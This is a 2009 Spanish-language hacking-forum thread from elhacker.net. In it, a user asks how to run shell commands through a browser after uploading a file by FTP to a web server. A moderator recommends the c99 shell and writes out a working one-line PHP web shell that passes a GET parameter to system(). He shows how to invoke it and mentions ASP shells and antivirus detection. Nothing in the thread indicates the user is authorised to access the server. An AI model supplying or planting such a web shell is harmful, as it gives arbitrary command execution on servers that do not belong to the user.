elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
28 Mayo 2012, 05:30  


Tema destacado: Recuerda que debes registrarte en el foro para poder participar (preguntar y responder)

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Bugs y Exploits
| | |-+  Nivel Web (Moderadores: sirdarckcat, WHK)
| | | |-+  ataque con escripts de shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ataque con escripts de shell  (Leído 2,415 veces)
aggagg69

Desconectado Desconectado

Mensajes: 24


Ver Perfil
ataque con escripts de shell
« en: 5 Diciembre 2009, 18:45 »

hola buenas tengo una duda quedria saber si suviendo un archivo atraves de un ftp a un servidor web

luego podria jecutar comandos atraves del mi navegador.
En línea
El As del Club Paris


Conectado Conectado

Mensajes: 1.816


Ver Perfil WWW
Re: ataque con escripts de shell
« Respuesta #1 en: 5 Diciembre 2009, 18:59 »

Para que eso sea posible el server tendria que estar MUY MAL configurado..no se si te referis a script de bash o php o que?

Y de todas formas tus scripts (en caso de poder ejecutarse) correrian bajo tu user, el cual seguramente estara muy limitado.

Saludos
En línea

sudo suck --mycock -o force
aggagg69

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Re: ataque con escripts de shell
« Respuesta #2 en: 5 Diciembre 2009, 19:07 »

supongamos que mi usuario tiene permisos suficientes.

scritp bash o php me es indiferente quisera saber si se puede y como ejecutar el script dado que solo

tendria acceso ftp por eso la ide del navegador para ejecutar comandos shell.
En línea
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: ataque con escripts de shell
« Respuesta #3 en: 5 Diciembre 2009, 21:52 »

Si lo quieres hacer desde el navegador entonces busca la shell c99, si el servidor es un windows con antivirus de seguro te lo va a detectar asi que le subes esto:
Código
<?php @system($_GET['x']); ?>

Despues le ejecutas cosas como test.php?x=dir y ya.

Esto es posible siempre y cuando en ese servidor esté instalado un servidor web y php, en el caso de que tenga asp con ssi entonces necesitas una shell del tipo para asp.

Si no tiene servidor web entonces utiliza una versión portable de php y se lo dejas corriendo.
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
aggagg69

Desconectado Desconectado

Mensajes: 24


Ver Perfil
Re: ataque con escripts de shell
« Respuesta #4 en: 6 Diciembre 2009, 18:08 »

tiene servidor web y php es un sitema operativo debian 2.6

asi que entonces me servira la c99?
En línea
WHK
吴阿卡
Moderador
***
Desconectado Desconectado

Mensajes: 4.113


The Hacktivism is not a crime


Ver Perfil WWW
Re: ataque con escripts de shell
« Respuesta #5 en: 6 Diciembre 2009, 20:24 »

si
En línea

Mi foro Ultra Off-Topics: http://whk.drawcoders.com/foro/

Gracias a todos! Good bye!
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines